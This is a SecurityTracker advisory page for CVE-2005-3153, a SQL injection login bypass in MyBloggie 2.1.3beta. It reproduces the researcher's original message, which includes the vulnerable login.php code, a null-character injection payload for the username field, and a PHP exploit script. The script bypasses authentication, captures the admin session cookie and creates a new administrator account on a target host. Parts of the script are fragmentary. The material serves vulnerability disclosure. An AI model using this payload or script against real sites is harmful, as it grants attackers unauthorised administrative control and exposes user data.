Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Forum/Board/Portal)  >   MyBloggie Vendors:   myWebland
MyBloggie Input Validation Hole in 'login.php' Lets Remote Users Inject SQL Commands to Bypass Authentication
SecurityTracker Alert ID:  1014995
SecurityTracker URL:
CVE Reference:   CVE-2005-3153   (Links to External Site)
Updated:  Jun 15 2008
Original Entry Date:  Oct 3 2005
Impact:   Disclosure of system information, Disclosure of user information, User access via network
Exploit Included:  Yes  
Version(s): 2.1.3beta
Description:   rgod reported a vulnerability in MyBloggie. A remote user can inject SQL commands.

The 'login.php' script does not properly validate user-supplied input in the 'username' parameter. If the magic quotes feature is off, then a remote user can supply a specially crafted parameter value that begins with a null character to execute SQL commands on the underlying database.

This can be exploited to bypass the authentication mechanism and gain access to the target application.

A demonstration exploit username value is provided:

[null char]'or'a'='a' LIMIT 1 /*

The original advisory is available at:

Impact:   A remote user can execute SQL commands on the underlying database. This can be exploited to gain access to the target application.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.

 Source Message Contents

Subject:  MyBloggie 2.1.3beta null char + SQL Injection -> Login Bypass

|MyBloggie 2.1.3beta null char + SQL Injection -> Login Bypass


vulnerability: if magic quotes off -> SQL INJECTION
look carefully this code in login.php, line 40-69

    if (isset($_POST['username'])) {
    } else $username="";

    if (isset($_POST['passwd'])) {
    $passwd = $_POST['passwd'];
    } else  $passwd = "";

    // Security precaution - sean 03 sep 2005
[!]    if(ereg('[^A-Za-z0-9_]', $username)){
    //redirecting the user if the username no alphanumeric to prevent
    echo "<meta http-equiv=\"Refresh\" content=\"1;url=".self_url()."/oops.php\" />";

    if( isset( $mode ) )
     if( $mode == "login" )
             $username = trim( $username );
           $passwd = md5(trim( $passwd ));

        if( $username == "" ) message( $lang['Error'] , $lang['Msg_enter_name'] );
        if( $passwd == "" ) message($lang['Error'], $lang['Msg_enter_pass'] );
[!!]     $result = mysql_query( "SELECT user FROM ".USER_TBL." WHERE user='$username'
                 AND password='$passwd'" ) or error( mysql_error() );

[!!!]    if( mysql_num_rows( $result ) != 1 ) {

the ereg call should check if "username" string is alphanumeric or not, but...
what happen if it begins with a null char? eheheheh
this a PHP bug, so I should write another advisory about this function...
you bypass the check...!

poc, run this with you interpreter...

if(ereg('[^A-Za-z0-9_]',"  '  " )) {echo "[1] hacking attempt!<br>";} #this works
if(ereg('[^A-Za-z0-9_]',chr(0x00)."  '  " )) {echo "[2] hacking attempt!<br>";} #this not


now you can inject an "always true statement" in login query and bypass the
third check, poc:

as username:             [null char]'or'a'='a' LIMIT 1 /*
as password:             [nothing]

if you cannot try it manually, this is my proof of concept exploit, it adds a
new administrative account, it works both against Unix and Windows servers, I
don't know if this ereg "null char" issue is documented...:

#   7.36 30/09/2005                                                            #
#                                                                              #
#   ---mybloggie_213_xpl.php                                                   #
#                                                                              #
#   myBloggie 2.1.3beta  null char + SQL Injection -> login bypass             #
#                                                                              #
#   let's setup a new admin account right now!                                 #
#                                                                              #
#                                                                              #
#                                                                              #
#                                 by rgod                                      #
#                      site:                        #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: customize for your own pleasure, launch this script from Apache,    #
#   fill requested fields, then go!                                            #
#                                                                              #
#   From WikiPedia:"James "Jamie" Madrox, formerly known as Multiple Man, is a #
#   fictional character, a mutant superhero in the Marvel Universe and a former#
#   member of X-Factor. He first appeared in Giant-Size Fantastic Four #4."    #
#   you know? This was my favourite one... Hey, but... wasn't he dead?         #

ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<head><title> myBloggie 2.1.3beta  null char /  SQL Injection </title><meta
http-equiv="Content-Type"  content="text/html; charset=iso-8859-1"> <style type=
"text/css"> <!-- body,td,th {color:  #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6">    myBloggie
2.1.3 beta (possibly prior versions) null char / SQL Injection</p><p class="Stil
e6">a script by rgod at <a href=""    target="_blank"></a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post"  action="'.$SERVER[PHP_SELF].'?path=value&host=value&
port=value&user=value&pazz=value&proxy=value"><p><input type="text" name="host">
<span class="Stile5">hostname (ex: ) </span> </p> <p>  <input
type="text" name="path"><span class="Stile5">path ( ex: /mybloggie/ or just / )
</span></p><p><input type="text" name="port"><span class="Stile5">specify a port
other than 80 (default) </span> </p><p><input type="text" name="username"><span
class="Stile5">new admin username...   </span> </p> <p>       <input type="text"
name="password"><span class="Stile5">password for new admin account...</span>
</p><p><input type="text" name="proxy"><span class="Stile5">send exploit through
an HTTP proxy (ip:port)  </span> </p>  <p>     <input type="submit"name="Submit"

function show($headeri)
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
if ($ji==16) {
            echo "<td>&nbsp;&nbsp;</td>";
            for ($li=0; $li<=15; $li++)
                     { echo "<td>".$headeri[$li+$ki]."</td>";
           echo "</tr><tr>";
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                     { echo "<td>&nbsp&nbsp</td>";

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                     { echo "<td>".$headeri[$li]."</td>";
echo "</tr></table>";

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket($packet)
global $proxy, $host, $port, $html;
if ($proxy=='')
        if (!eregi($proxy_regex,$proxy))
        {echo htmlentities($proxy).' -> not a valid proxy...';
        echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
        if (!$ock) { echo 'No response from proxy...';
if ($proxy=='')

   while (!feof($ock))
   while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
echo nl2br(htmlentities($html));

if (($path<>'') and ($host<>'') and ($username<>'') and ($password<>''))

$user=str_replace(chr(0x00),"",$user); # <- this is a suggestion for the patch... ;)
if(ereg('[^A-Za-z0-9_]', $user)) { echo "<br>only alphanumeric chars in username please...<br>"; die;}

 if ($port=='') {$port=80;}
 if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$sql=urlencode(chr(0x00)."'or'SUNTZU'='SUNTZU' LIMIT 1/*"); //beautiful query, isn't it? ;)
$packet="POST ".$p."login.php?mode=login HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.':'.$port.$path."login.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Googlebot/2.1 (+\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
if (eregi("Location: ./admin.php",$html)) {echo '<br>Exploit succeded -> now set a new administrative account...<br>';}
                    else  {echo '<br>Exploit failed...<br>'; die;}
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
echo'<br>cookie: -> '.htmlentities($cookie).'<br><br>';

$packet="POST ".$p."admin.php?mode=adduser HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.':'.$port.$path."admin.php?mode=adduser\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Opera/8.50 (Windows NT 5.1; U; en)\r\n";
$packet.="Host: ".$host."r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
echo '<br>Now login as admin, user: '.htmlentities($username).' pass: '.htmlentities($password);
{ echo '<br>Fill requested fields, optionally specify a proxy...<br><br>';}

original advisory:


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, LLC